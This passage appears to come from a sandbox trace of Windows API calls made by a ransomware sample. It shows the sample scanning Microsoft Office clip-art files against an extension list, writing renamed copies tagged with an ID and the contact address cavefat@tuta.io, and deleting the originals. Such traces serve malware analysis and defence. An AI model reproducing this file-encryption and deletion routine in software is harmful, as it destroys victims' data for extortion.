hFile=0x374, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.948] SetEndOfFile (hFile=0x374) returned 1 [0171.953] CloseHandle (hObject=0x374) returned 1 [0171.955] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.955] SetEndOfFile (hFile=0x3ac) returned 1 [0171.957] CloseHandle (hObject=0x3ac) returned 1 [0171.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287642.jpg")) returned 1 [0171.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG") returned 68 [0171.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG") returned 68 [0171.960] lstrlenW (lpString=".doc") returned 4 [0171.960] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0171.960] lstrlenW (lpString=".docx") returned 5 [0171.960] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0171.960] lstrlenW (lpString=".pdf") returned 4 [0171.960] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0171.960] lstrlenW (lpString=".xls") returned 4 [0171.960] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0171.960] lstrlenW (lpString=".xlsx") returned 5 [0171.960] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0171.960] lstrlenW (lpString=".ppt") returned 4 [0171.960] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0171.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG") returned 68 [0171.960] lstrlenW (lpString=".zip") returned 4 [0171.961] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0171.961] lstrlenW (lpString=".rar") returned 4 [0171.961] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0171.961] lstrlenW (lpString=".bz2") returned 4 [0171.961] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0171.961] lstrlenW (lpString=".7z") returned 3 [0171.961] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0171.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG") returned 68 [0171.961] lstrlenW (lpString=".dbf") returned 4 [0171.961] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0171.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG") returned 68 [0171.961] lstrlenW (lpString=".1cd") returned 4 [0171.961] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0171.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG") returned 68 [0171.961] lstrlenW (lpString=".jpg") returned 4 [0171.961] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0171.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG") returned 68 [0171.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG") returned 68 [0171.961] lstrlenW (lpString=".doc") returned 4 [0171.961] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0171.961] lstrlenW (lpString=".docx") returned 5 [0171.961] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0171.961] lstrlenW (lpString=".pdf") returned 4 [0171.961] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0171.961] lstrlenW (lpString=".xls") returned 4 [0171.961] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0171.961] lstrlenW (lpString=".xlsx") returned 5 [0171.961] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0171.961] lstrlenW (lpString=".ppt") returned 4 [0171.961] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0171.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG") returned 68 [0171.961] lstrlenW (lpString=".zip") returned 4 [0171.961] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0171.961] lstrlenW (lpString=".rar") returned 4 [0171.961] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0171.961] lstrlenW (lpString=".bz2") returned 4 [0171.961] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0171.961] lstrlenW (lpString=".7z") returned 3 [0171.961] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0171.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG") returned 68 [0171.961] lstrlenW (lpString=".dbf") returned 4 [0171.961] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0171.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG") returned 68 [0171.961] lstrlenW (lpString=".1cd") returned 4 [0171.962] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0171.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG") returned 68 [0171.962] lstrlenW (lpString=".jpg") returned 4 [0171.962] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0171.962] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0171.962] lstrlenW (lpString="J0289430.JPG") returned 12 [0171.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.968] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11553) returned 1 [0171.968] CloseHandle (hObject=0x394) returned 1 [0171.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0289430.jpg")) returned 0x220 [0171.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0289430.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.979] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.979] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0289430.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0171.990] GetLastError () returned 0x0 [0171.990] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2d21, lpOverlapped=0x0) returned 1 [0171.992] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2d30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2d30, lpOverlapped=0x0) returned 1 [0171.993] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.993] WriteFile (in: hFile=0x354, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.993] SetEndOfFile (hFile=0x354) returned 1 [0171.996] CloseHandle (hObject=0x354) returned 1 [0171.997] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.997] SetEndOfFile (hFile=0x394) returned 1 [0172.000] CloseHandle (hObject=0x394) returned 1 [0172.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0289430.jpg")) returned 1 [0172.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG") returned 68 [0172.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG") returned 68 [0172.002] lstrlenW (lpString=".doc") returned 4 [0172.002] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.002] lstrlenW (lpString=".docx") returned 5 [0172.002] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0172.002] lstrlenW (lpString=".pdf") returned 4 [0172.002] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.002] lstrlenW (lpString=".xls") returned 4 [0172.002] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.002] lstrlenW (lpString=".xlsx") returned 5 [0172.002] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0172.002] lstrlenW (lpString=".ppt") returned 4 [0172.002] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG") returned 68 [0172.002] lstrlenW (lpString=".zip") returned 4 [0172.002] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.002] lstrlenW (lpString=".rar") returned 4 [0172.002] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.002] lstrlenW (lpString=".bz2") returned 4 [0172.002] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.002] lstrlenW (lpString=".7z") returned 3 [0172.002] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG") returned 68 [0172.002] lstrlenW (lpString=".dbf") returned 4 [0172.003] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG") returned 68 [0172.003] lstrlenW (lpString=".1cd") returned 4 [0172.003] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG") returned 68 [0172.003] lstrlenW (lpString=".jpg") returned 4 [0172.003] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG") returned 68 [0172.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG") returned 68 [0172.003] lstrlenW (lpString=".doc") returned 4 [0172.003] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.003] lstrlenW (lpString=".docx") returned 5 [0172.003] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0172.003] lstrlenW (lpString=".pdf") returned 4 [0172.003] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.003] lstrlenW (lpString=".xls") returned 4 [0172.003] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.003] lstrlenW (lpString=".xlsx") returned 5 [0172.003] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0172.003] lstrlenW (lpString=".ppt") returned 4 [0172.003] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG") returned 68 [0172.003] lstrlenW (lpString=".zip") returned 4 [0172.003] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.003] lstrlenW (lpString=".rar") returned 4 [0172.003] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.003] lstrlenW (lpString=".bz2") returned 4 [0172.003] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.003] lstrlenW (lpString=".7z") returned 3 [0172.003] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG") returned 68 [0172.003] lstrlenW (lpString=".dbf") returned 4 [0172.003] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG") returned 68 [0172.003] lstrlenW (lpString=".1cd") returned 4 [0172.003] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG") returned 68 [0172.003] lstrlenW (lpString=".jpg") returned 4 [0172.003] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.003] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.004] lstrlenW (lpString="J0292270.WMF") returned 12 [0172.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292270.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0172.006] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=31398) returned 1 [0172.006] CloseHandle (hObject=0x39c) returned 1 [0172.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292270.wmf")) returned 0x220 [0172.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292270.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292270.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0172.013] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.013] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292270.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.016] GetLastError () returned 0x0 [0172.016] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7aa6, lpOverlapped=0x0) returned 1 [0172.020] WriteFile (in: hFile=0x384, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7ab0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7ab0, lpOverlapped=0x0) returned 1 [0172.021] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.021] WriteFile (in: hFile=0x384, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.021] SetEndOfFile (hFile=0x384) returned 1 [0172.025] CloseHandle (hObject=0x384) returned 1 [0172.026] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.026] SetEndOfFile (hFile=0x39c) returned 1 [0172.031] CloseHandle (hObject=0x39c) returned 1 [0172.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292270.wmf")) returned 1 [0172.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF") returned 68 [0172.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF") returned 68 [0172.033] lstrlenW (lpString=".doc") returned 4 [0172.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.033] lstrlenW (lpString=".docx") returned 5 [0172.033] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0172.033] lstrlenW (lpString=".pdf") returned 4 [0172.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.033] lstrlenW (lpString=".xls") returned 4 [0172.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.033] lstrlenW (lpString=".xlsx") returned 5 [0172.033] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0172.033] lstrlenW (lpString=".ppt") returned 4 [0172.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF") returned 68 [0172.033] lstrlenW (lpString=".zip") returned 4 [0172.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.033] lstrlenW (lpString=".rar") returned 4 [0172.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.033] lstrlenW (lpString=".bz2") returned 4 [0172.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.033] lstrlenW (lpString=".7z") returned 3 [0172.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF") returned 68 [0172.033] lstrlenW (lpString=".dbf") returned 4 [0172.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF") returned 68 [0172.034] lstrlenW (lpString=".1cd") returned 4 [0172.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF") returned 68 [0172.034] lstrlenW (lpString=".jpg") returned 4 [0172.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF") returned 68 [0172.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF") returned 68 [0172.034] lstrlenW (lpString=".doc") returned 4 [0172.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.034] lstrlenW (lpString=".docx") returned 5 [0172.034] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0172.034] lstrlenW (lpString=".pdf") returned 4 [0172.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.034] lstrlenW (lpString=".xls") returned 4 [0172.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.034] lstrlenW (lpString=".xlsx") returned 5 [0172.034] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0172.034] lstrlenW (lpString=".ppt") returned 4 [0172.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF") returned 68 [0172.034] lstrlenW (lpString=".zip") returned 4 [0172.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.034] lstrlenW (lpString=".rar") returned 4 [0172.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.034] lstrlenW (lpString=".bz2") returned 4 [0172.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.034] lstrlenW (lpString=".7z") returned 3 [0172.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF") returned 68 [0172.034] lstrlenW (lpString=".dbf") returned 4 [0172.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF") returned 68 [0172.034] lstrlenW (lpString=".1cd") returned 4 [0172.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292270.WMF") returned 68 [0172.034] lstrlenW (lpString=".jpg") returned 4 [0172.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.034] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.034] lstrlenW (lpString="J0292286.WMF") returned 12 [0172.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0172.039] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=19286) returned 1 [0172.039] CloseHandle (hObject=0x37c) returned 1 [0172.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292286.wmf")) returned 0x220 [0172.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292286.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0172.045] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.045] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292286.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.050] GetLastError () returned 0x0 [0172.050] ReadFile (in: hFile=0x37c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4b56, lpOverlapped=0x0) returned 1 [0172.052] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0172.053] ReadFile (in: hFile=0x37c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.053] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.053] SetEndOfFile (hFile=0x394) returned 1 [0172.056] CloseHandle (hObject=0x394) returned 1 [0172.057] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.057] SetEndOfFile (hFile=0x37c) returned 1 [0172.059] CloseHandle (hObject=0x37c) returned 1 